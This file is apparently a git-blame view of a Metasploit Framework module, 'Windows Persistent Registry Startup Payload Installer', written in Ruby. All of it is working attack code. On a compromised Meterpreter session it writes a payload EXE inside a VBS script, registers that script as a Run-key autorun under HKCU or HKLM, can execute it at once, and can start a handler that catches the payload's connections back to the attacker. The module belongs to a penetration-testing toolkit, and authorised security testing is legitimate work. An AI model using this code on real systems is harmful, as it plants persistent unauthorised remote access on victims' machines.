metasploit-framework/modules/exploits/windows/local/persistence.rb

329 lines
12 KiB
Ruby
Raw Normal View History

2013-02-07 23:11:44 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-02-07 23:11:44 +00:00
##
require 'msf/core'
require 'rex'
2014-12-12 22:22:51 +00:00
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
2013-02-07 23:11:44 +00:00
require 'msf/core/exploit/exe'
2015-06-24 19:28:51 +00:00
class Metasploit4 < Msf::Exploit::Local
2013-09-05 18:41:25 +00:00
Rank = ExcellentRanking
2014-12-12 22:22:51 +00:00
include Msf::Post::Common
2013-09-05 18:41:25 +00:00
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
2015-06-24 19:28:51 +00:00
include Msf::Exploit::EXE
2013-09-05 18:41:25 +00:00
2015-06-24 19:28:51 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Persistent Registry Startup Payload Installer',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" (depending on privilege and selected method).
2013-09-05 18:41:25 +00:00
},
2015-06-24 19:28:51 +00:00
'License' => MSF_LICENSE,
'Author' =>
2013-09-05 18:41:25 +00:00
[
2015-06-18 20:10:16 +00:00
'Carlos Perez <carlos_perez[at]darkoperator.com>',
2015-06-24 19:28:51 +00:00
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
2013-09-05 18:41:25 +00:00
],
2015-06-24 19:28:51 +00:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => "Oct 19 2011",
'DefaultOptions' =>
{
2015-06-24 19:28:51 +00:00
'DisablePayloadHandler' => 'true'
}
2013-09-05 18:41:25 +00:00
))
2015-06-18 20:10:16 +00:00
register_options([
OptInt.new('DELAY',
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
OptString.new('VBS_NAME',
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
OptString.new('EXE_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('REG_NAME',
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
OptString.new('PATH',
[false, 'Path to write payload (%TEMP% by default).', nil])
], self.class)
register_advanced_options([
OptBool.new('HANDLER',
2015-06-24 19:28:51 +00:00
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
OptBool.new('EXEC_AFTER',
2015-06-24 19:28:51 +00:00
[false, 'Execute persistent script after installing.', false])
2015-06-18 20:10:16 +00:00
], self.class)
2013-09-05 18:41:25 +00:00
end
# Exploit method for when exploit command is issued
2013-09-05 18:41:25 +00:00
def exploit
# Define default values
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
2015-06-18 20:10:16 +00:00
startup = datastore['STARTUP'].downcase
2015-06-24 19:28:51 +00:00
delay = datastore['DELAY']
exec_after = datastore['EXEC_AFTER']
handler = datastore['HANDLER']
2013-09-05 18:41:25 +00:00
@clean_up_rc = ""
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
# Connect to the session
begin
2015-06-24 19:28:51 +00:00
host = session.session_host
2015-06-18 20:10:16 +00:00
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue => e
2015-06-24 19:28:51 +00:00
print_error("Could not connect to session: #{e}")
return nil
end
# Check values
2015-06-24 19:28:51 +00:00
if is_system? && startup == 'user'
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
end
2015-06-24 19:28:51 +00:00
if handler && !datastore['DisablePayloadHandler']
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
print_warning("Disabling HANDLER...")
handler = false
end
# Generate the exe payload
2015-06-18 20:10:16 +00:00
vprint_status("Generating EXE payload (#{rexe_name})")
2013-09-05 18:41:25 +00:00
exe = generate_payload_exe
# Generate the vbs payload
2015-06-18 20:10:16 +00:00
vprint_status("Generating VBS persistent script (#{rvbs_name})")
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
# Writing the payload to target
2015-06-18 20:10:16 +00:00
vprint_status("Writing payload inside the VBS script on the target")
script_on_target = write_script_to_target(vbsscript, rvbs_name)
# Exit the module because we failed to write the file on the target host
# Feedback has already been given to the user, via the function.
2014-12-12 22:22:51 +00:00
return unless script_on_target
2013-09-05 18:41:25 +00:00
# Initial execution of persistent script
2015-06-18 20:10:16 +00:00
case startup
when 'user'
# If we could not write the entry in the registy we exit the module.
2014-12-12 22:22:51 +00:00
return unless write_to_reg("HKCU", script_on_target, reg_val)
2015-06-18 20:10:16 +00:00
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
when 'system'
# If we could not write the entry in the registy we exit the module.
2014-12-12 22:22:51 +00:00
return unless write_to_reg("HKLM", script_on_target, reg_val)
2015-06-18 20:10:16 +00:00
vprint_status("Payload will execute at the next SYSTEM startup")
else
2015-06-18 20:10:16 +00:00
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
return nil
2013-09-05 18:41:25 +00:00
end
# Do we setup a exploit/multi/handler job?
if handler
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
end
end
# Do we execute the VBS script afterwards?
2015-06-24 19:28:51 +00:00
target_exec(script_on_target) if exec_after
# Create 'clean up' resource file
2013-09-05 18:41:25 +00:00
clean_rc = log_file()
2014-12-12 22:22:51 +00:00
file_local_write(clean_rc, @clean_up_rc)
2015-06-18 20:10:16 +00:00
print_status("Clean up Meterpreter RC file: #{clean_rc}")
2013-09-05 18:41:25 +00:00
report_note(:host => host,
:type => "host.persistance.cleanup",
:data => {
2014-12-12 22:22:51 +00:00
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
2013-09-05 18:41:25 +00:00
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
2014-12-12 22:22:51 +00:00
:created_at => Time.now.utc,
:commands => @clean_up_rc
2013-09-05 18:41:25 +00:00
}
)
end
# Writes script to target host and returns the pathname of the target file or nil if the
# file could not be written.
def write_script_to_target(vbs, name)
filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
filepath = temppath + "\\" + filename
2013-09-05 18:41:25 +00:00
2015-06-24 19:28:51 +00:00
unless directory?(temppath)
print_error("#{temppath} does not exists on the target")
return nil
end
2013-09-05 18:41:25 +00:00
2015-06-24 19:28:51 +00:00
if file?(filepath)
print_warning("#{filepath} already exists on the target. Deleting...")
begin
file_rm(filepath)
print_good("Deleted #{filepath}")
rescue
print_error("Unable to delete file!")
2015-06-18 20:10:16 +00:00
return nil
end
2013-09-05 18:41:25 +00:00
end
begin
write_file(filepath, vbs)
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
2013-09-05 18:41:25 +00:00
# Escape windows pathname separators.
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
rescue
print_error("Could not write the payload on the target")
# Return nil since we could not write the file on the target
filepath = nil
end
2015-06-24 19:28:51 +00:00
filepath
2013-09-05 18:41:25 +00:00
end
# Installs payload in to the registry HKLM or HKCU
def write_to_reg(key, script_on_target, registry_value)
regsuccess = true
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing as #{key_path}\\#{nam}")
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
2013-09-05 18:41:25 +00:00
else
print_error("Failed to make entry in the registry for persistence")
regsuccess = false
2013-09-05 18:41:25 +00:00
end
2015-06-24 19:28:51 +00:00
regsuccess
2013-09-05 18:41:25 +00:00
end
2014-12-12 22:22:51 +00:00
# Executes script on target and returns true if it was successfully started
2013-09-05 18:41:25 +00:00
def target_exec(script_on_target)
execsuccess = true
print_status("Executing script #{script_on_target}")
# Lets give the target a few seconds to catch up...
2015-06-24 19:28:51 +00:00
Rex.sleep(3)
# Error handling for process.execute() can throw a RequestError in send_request.
2013-09-05 18:41:25 +00:00
begin
2014-12-12 22:22:51 +00:00
unless datastore['EXE::Custom']
2015-06-26 16:54:19 +00:00
cmd_exec("wscript \"#{script_on_target}\"")
2013-09-05 18:41:25 +00:00
else
2015-06-26 16:54:19 +00:00
cmd_exec("cscript \"#{script_on_target}\"")
2013-09-05 18:41:25 +00:00
end
rescue
print_error("Failed to execute payload on target")
2014-12-12 22:22:51 +00:00
execsuccess = false
2013-09-05 18:41:25 +00:00
end
2015-06-24 19:28:51 +00:00
execsuccess
2013-09-05 18:41:25 +00:00
end
# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
2015-06-24 19:28:51 +00:00
unless check_for_listener(lhost, lport)
# Set options for module
mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
2015-06-24 19:28:51 +00:00
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
2013-09-05 18:41:25 +00:00
# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
2015-06-24 19:28:51 +00:00
Rex.sleep(5)
return nil if framework.jobs[mh.job_id.to_s].nil?
2013-09-05 18:41:25 +00:00
return mh.job_id.to_s
2013-09-05 18:41:25 +00:00
else
print_error('A job is listening on the same local port')
return nil
2013-09-05 18:41:25 +00:00
end
end
2014-12-12 22:22:51 +00:00
# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
def check_for_listener(lhost, lport)
client.framework.jobs.each do |k, j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true
end
end
end
2015-06-24 19:28:51 +00:00
false
end
# Function for creating log folder and returning log path
def log_file(log_path = nil)
# Get hostname
host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence',
2015-06-24 19:28:51 +00:00
Rex::FileUtils.clean_path(host + filenameinfo))
else
logs = ::File.join(Msf::Config.log_directory, 'persistence',
2015-06-24 19:28:51 +00:00
Rex::FileUtils.clean_path(host + filenameinfo))
end
# Create the log directory
::FileUtils.mkdir_p(logs)
# logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
2015-06-24 19:28:51 +00:00
logfile
2013-09-05 18:41:25 +00:00
end
2013-02-07 23:11:44 +00:00
2013-02-08 18:42:10 +00:00
end